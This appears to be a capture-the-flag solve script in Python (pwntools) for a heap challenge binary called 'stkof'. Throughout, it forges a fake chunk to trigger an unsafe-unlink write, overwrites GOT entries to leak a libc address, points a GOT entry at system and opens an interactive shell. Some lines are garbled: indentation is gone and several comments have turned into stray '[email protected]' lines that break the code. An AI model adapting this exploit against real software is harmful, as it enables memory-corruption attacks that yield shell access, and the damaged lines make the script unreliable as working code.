from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search('/bin/sh').next()
return (system, binsh)
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(delim, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(delim, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
#context.log_level = 'DEBUG'
binary = './stkof'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('127.0.0.1',0000) if argv[1]=='r' else process(binary)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
def dbg():
gdb.attach(p)
# pause()
def create(size):
sl(1)
sl(size)
ru('OK\n')
def delete(index):
sl(3)
sl(index)
def fill(index, size, content):
sl(2)
sl(index)
sl(size)
s(content)
ru('OK\n')
def show(index): # useless
sl(4)
sl(index)
#start
# trigger to malloc buffer for io function
create(0x100) # idx 1
create(0x30) # idx 2
# small chunk size in order to trigger unlink
create(0x80) # idx 3
#dbg()
# a fake chunk at global[2] = global0 + 16 who's size is 0x20
global0 = 0x602140
payload = p64(0) #prev_size
payload += p64(0x30) #size --> except the first line, the rest two line is equal to 0x20?
payload += p64(global0 + 16 - 0x18) #fd
payload += p64(global0 + 16 - 0x10) #bk
#payload += p64(0x20) # next chunk's prev_size bypass the check
payload = payload.ljust(0x30, 'a')
# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at global[2]
payload += p64(0x30) #0x30 is the front one whole size?
# make it believe that prev chunk is free
payload += p64(0x90)
fill(2, len(payload), payload)
#dbg()
# unlink fake chunk, so global[2] =&(global[2]) - 0x18 = global0 - 8
delete(3)
p.recvuntil('OK\n')
#dbg()
# overwrite global[0] =
[email protected], global[1]
[email protected], global[2]
[email protected]
payload = 'a' * 8 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
fill(2, len(payload), payload)
# edit
[email protected] to
[email protected]
payload = p64(elf.plt['puts'])
fill(0, len(payload), payload)
#dbg()
#free global[1] to leak puts addr
delete(1)
puts_addr = ru('\nOK\n')
puts_addr = uu64(puts_addr)
leak('puts addr: ' ,puts_addr)
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
system_addr = libc_base + libc.symbols['system']
leak('libc base: ' , libc_base)
leak('/bin/sh addr: ', binsh_addr)
leak('system addr: ',system_addr)
#dbg()
# modify
[email protected] to system addr
payload = p64(system_addr)
fill(2, len(payload), payload)
p.send(p64(binsh_addr))
# end
p.interactive()